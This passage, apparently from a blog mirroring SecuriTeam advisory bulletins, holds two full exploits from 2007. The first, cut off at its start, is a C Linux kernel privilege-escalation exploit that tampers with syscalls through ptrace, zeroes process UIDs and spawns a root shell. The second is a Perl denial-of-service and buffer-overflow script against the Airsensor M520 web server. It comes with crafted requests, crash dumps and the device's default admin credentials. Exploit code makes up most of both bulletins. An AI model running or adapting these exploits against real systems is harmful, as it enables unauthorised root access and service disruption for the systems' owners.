&& (ptr[2] == suid) && (ptr[3] == uid)) {
ptr[0] = 0; //UID
ptr[1] = 0; //EUID
ptr[2] = 0; //SUID

break;
}
}

}

static void docall(uint64_t *ptr, uint64_t size)
{
getresuid(&uid, &euid, &suid);

uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);

if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED)
{
printf("mmap fault\n");
exit(1);
}

for (; ptr < (tmp + size); ptr++)
*ptr = (uint64_t)kernelmodecode;

__asm__("\n"
"\tmovq $0x101, %rax\n"
"\tint $0x80\n");

printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(),
getgid(), getegid());
execl("/bin/sh", "bin/sh", 0);
printf("no /bin/sh ??\n");
exit(0);
}

int main(int argc, char **argv)
{
int pid, status, set = 0;
uint64_t rax;
uint64_t kern_s = 0xffffffff80000000;
uint64_t kern_e = 0xffffffff84000000;
uint64_t off = 0x0000000800000101 * 8;

if (argc == 4) {
docall((uint64_t*)(kern_s + off), kern_e - kern_s);
exit(0);
}

if ((pid = fork()) == 0) {
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[0], argv[0], "2", "3", "4", 0);
perror("exec fault");
exit(1);
}

if (pid == -1) {
printf("fork fault\n");
exit(1);
}

for (;;) {
if (wait(&status) != pid)
continue;

if (WIFEXITED(status)) {
printf("Process finished\n");
break;
}

if (!WIFSTOPPED(status))
continue;

if (WSTOPSIG(status) != SIGTRAP) {
printf("Process received signal: %d\n",
WSTOPSIG(status));
break;
}

rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
if (rax == 0x000000000101) {
if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX,
off/8) == -1) {
printf("PTRACE_POKEUSER fault\n");
exit(1);
}
set = 1;
}

if ((rax == 11) && set) {
ptrace(PTRACE_DETACH, pid, 0, 0);
for(;;)
sleep(10000);
}

if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
printf("PTRACE_SYSCALL fault\n");
exit(1);
}
}

return 0;
}

// milw0rm.com [2007-09-27]


ADDITIONAL INFORMATION

The information has been provided by <mailto:robert@swiecki.net> Robert
Swiecki.

========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Posted by at No comments:

[EXPL] Airsensor M520 HTTPD Preauth DoS and Buffer Overflow (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html


- - - - - - - - -

Airsensor M520 HTTPD Preauth DoS and Buffer Overflow (Exploit)
------------------------------------------------------------------------


SUMMARY

A vulnerability in Airsensor M520 is caused due to an unspecified error in
the CGIs files filter used for configure proprieties. This can be
exploited by sending a specially crafted HTTPS request (necessary
authentication), which will cause the HTTPS service on the system to
crash.

DETAILS

Exploit:
#!/usr/bin/perl -w
#
# Airsensor M520 HTTPD Remote Preauth Denial Of Service and Buffer
Overflow PoC
#
# The vulnerability is caused due to an unspecified error in the cgis
# files filter used for configure propierties. This can be exploited by
# sending a specially crafted HTTPS request (necessary authentication),
# which will cause the HTTPS service on the system to crash.
#
# Requisites: "Use DHCP" option interface mark "No"
#
# Examples:
#
# GET https://192.168.100.100/adLog.cgi?%41%41%41 HTTP/1.1
# GET https://192.168.100.100/post.cgi?%41%41%41 HTTP/1.1
# GET https://192.168.100.100/ad.cgi?%41%41%41 HTTP/1.1
#
# Pinging:
#
# Before:
#
# Reply from 192.168.100.100: bytes=32 time<1ms TTL=64
# Reply from 192.168.100.100: bytes=32 time<1ms TTL=64
# Reply from 192.168.100.100: bytes=32 time<1ms TTL=64
#
# After:
#
# Hardware error.
# Hardware error.
# Hardware error.
# Request timed out.
# Request timed out.
# Request timed out.
#
# C:\>nc -vvn 192.168.100.100 443
# (UNKNOWN) [192.168.100.100] 443 (?): connection refused
# sent 0, rcvd 0: NOTSOCK
#
# Buffer Overflow debug log:
#
# 1970-01-01 00:00:15 SYS-INFO:: AirDefense Firmware Version 4.4.1.4,
Model = M520
# 1970-01-01 00:00:15 SYS-CRIT:: SENSOR EXCEPTION ERROR
# 1970-01-01 00:00:15 SYS-CRIT:: SENSOR VERSION NUMBER: 4.4.1.4
# 1970-01-01 00:00:15 SYS-CRIT:: SENSOR Up Time: 00:08:51
# 1970-01-01 00:00:15 SYS-CRIT:: Time of Exception: 1970-01-01 00:08:55
# 1970-01-01 00:00:15 SYS-CRIT:: Exception ID = 10 ( Reserved
Instruction)
# 1970-01-01 00:00:15 SYS-CRIT:: Thread = HTTPD
# 1970-01-01 00:00:15 SYS-CRIT:: MIPS Register Dump:
# 1970-01-01 00:00:15 SYS-CRIT:: zero=0x00000000 at=0xfffffffe
v0=0x00000000 v1=0x00000000
# 1970-01-01 00:00:16 SYS-CRIT:: a0=0x00000000 a1=0x3d000000
a2=0x00000010 a3=0x00000041
# 1970-01-01 00:00:16 SYS-CRIT:: t0=0x00000000 t1=0x0000003d
t2=0x0000000b t3=0x00000000
# 1970-01-01 00:00:16 SYS-CRIT:: t4=0x802f799c t5=0xf43dd40f
t6=0x0066a1a4 t7=0x4df0e494
# 1970-01-01 00:00:16 SYS-CRIT:: s0=0x802f7dbf s1=0x0000001f
s2=0x802f7910 s3=0x80120000
# 1970-01-01 00:00:16 SYS-CRIT:: s4=0x80120000 s5=0x80986c30
s6=0x80120000 s7=0x80128afc
# 1970-01-01 00:00:16 SYS-CRIT:: t8=0x480ec8cd t9=0x742b7136
k0=0x802f78c8 k1=0x802f7910
# 1970-01-01 00:00:16 SYS-CRIT:: gp=0x8015b070 sp=0x802f7910
fp=0x80128aec ra=0x800b2534
# 1970-01-01 00:00:16 SYS-CRIT:: Address of instruction that caused
exception = 0x800b2534
# 1970-01-01 00:00:16 SYS-CRIT:: Memory address at which adress
exception occured = 0x00000000
# 1970-01-01 00:00:16 SYS-CRIT:: Return address = 0x800b2534
# 1970-01-01 00:00:17 SYS-CRIT:: Status Reg = 0x1000af03
# 1970-01-01 00:00:17 SYS-CRIT:: Cache Reg = 0x00000000
# 1970-01-01 00:00:17 SYS-CRIT:: Cause Reg = 0x30000028
# 1970-01-01 00:00:17 SYS-CRIT:: Config Reg = 0x03fffbfb
# 1970-01-01 00:00:17 SYS-CRIT:: Vector = 40
# 1970-01-01 00:00:17 SYS-CRIT:: Processor Version = 0x00018009
# 1970-01-01 00:00:17 SYS-CRIT:: Stack Trace Begin: "->" = return
address
# 1970-01-01 00:00:17 SYS-CRIT:: [802f7910]=0x802f7dbf
# 1970-01-01 00:00:17 SYS-CRIT:: [802f7914]=0x00000000
# 1970-01-01 00:00:17 SYS-CRIT:: [802f7918]=0x00000000
# 1970-01-01 00:00:19 SYS-CRIT:: [802f7990]=0x80130000
# 1970-01-01 00:00:19 SYS-CRIT:: [802f7994]=0x802f7db4
# 1970-01-01 00:00:19 SYS-CRIT:: [802f7998]=0x80152e18
# 1970-01-01 00:00:19 SYS-CRIT:: [802f799c]=0x80152ed8
# 1970-01-01 00:00:19 SYS-CRIT:: [802f79a0]=0x802f7dbf
# 1970-01-01 00:00:19 SYS-CRIT:: [802f79a4]=0x80986c30
# 1970-01-01 00:00:19 SYS-CRIT:: [802f79a8]=0x802f8200
# 1970-01-01 00:00:19 SYS-CRIT:: ->[802f79ac]=0x800f0450 <- return
address
# 1970-01-01 00:00:19 SYS-CRIT:: [802f79b0]=0x0d0a0074
# 1970-01-01 00:00:21 SYS-CRIT:: Stack Trace End:
#
# The vulnerability has been reported in versions Airdefense
#
# Firmware Version 4.3.1.1, Model = M520
# Firmware version 4.4.1.4, Model = M520
#
# More information:

http://www.airdefense.net
#

http://support.airdefense.net
#
# Very special credits: str0ke, Kf, rathaous, !dsr, 0dd.
#
# and friends: nitr0us, crypkey, dex, xdawn, sirdarckcat, kuza55,
# pikah, codebreak, h3llfyr3
#
# Alex Hernandez ahernandez [at] sybsecurity dot com
#

use strict;
use LWP;
use Data::Dumper;
require HTTP::Request;
require HTTP::Headers;

my $string = "%41%41%41"; # Strings to send
my $method = 'GET'; # Method "GET" or "POST"
my $uri = 'https://192.168.100.100'; # Factory default IP address
my $content = "/adLog.cgi?"; # Cgi's file to crash

#my $content = "/ad.cgi?";
#my $content = "/post.cgi?";
#my $content = "/logout.cgi?";

my $headers = HTTP::Headers->new(

'Host:' => '192.168.100.100',
'User-Agent:' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1;
en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6',
'Accept:' =>
'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
'Accept-Language:' => 'en-us,en;q=0.5',
'Accept-Charset:' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
'Keep-Alive:' => '300',
'Connection:' => 'keep-alive',
'Referer:' =>
'https://192.168.100.100/adLog.cgi?submitButton=refresh&refresh=Refresh',
'Authorization:' => 'Basic YWRtaW46YWlyc2Vuc29y', # base64 encode
admin:airsensor

);

my $request = HTTP::Request->new($method, $uri, $headers, $content,
$string);

my $ua = LWP::UserAgent->new;
my $response = $ua->request($request);

print "[+] Denial of Service exploit for Airsensor M520 Final\n";
print "[+] Coded by: Alex Hernandez [ahernandez\@sybsecurity.com]\n";
print "[+] We got this response from sensor: \n\n" . $response->content .
"\n";

my $data;
foreach my $pair (split('&', $response->content)) {
my ($k, $v) = split('=', $pair);
$data->{$k} = $v;
}

if ($data->{RESULT} != 0) {

print "[+] Denial of Service exploit for Airsensor M520 Final\n";
print "[+] Coded by: Alex Hernandez[ahernandez\@sybsecurity.com]\n";
print "[+] Use:\n";
print "\tperl -x dos_sensor.pl\n";
print $data->{RESPMSG} . "\n";
exit(0);

} else {

print "[+] Denial of service Exploit successed!!!\n";
print "[+] By Alex Hernandez[ahernandez\@sybsecurity.com]\n";
}

# milw0rm.com [2007-09-18]


ADDITIONAL INFORMATION

The information has been provided by <mailto:ahernandez@sybsecurity.com>
Alex Hernandez.

========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Posted by at No comments:
Subscribe to: Posts (Atom)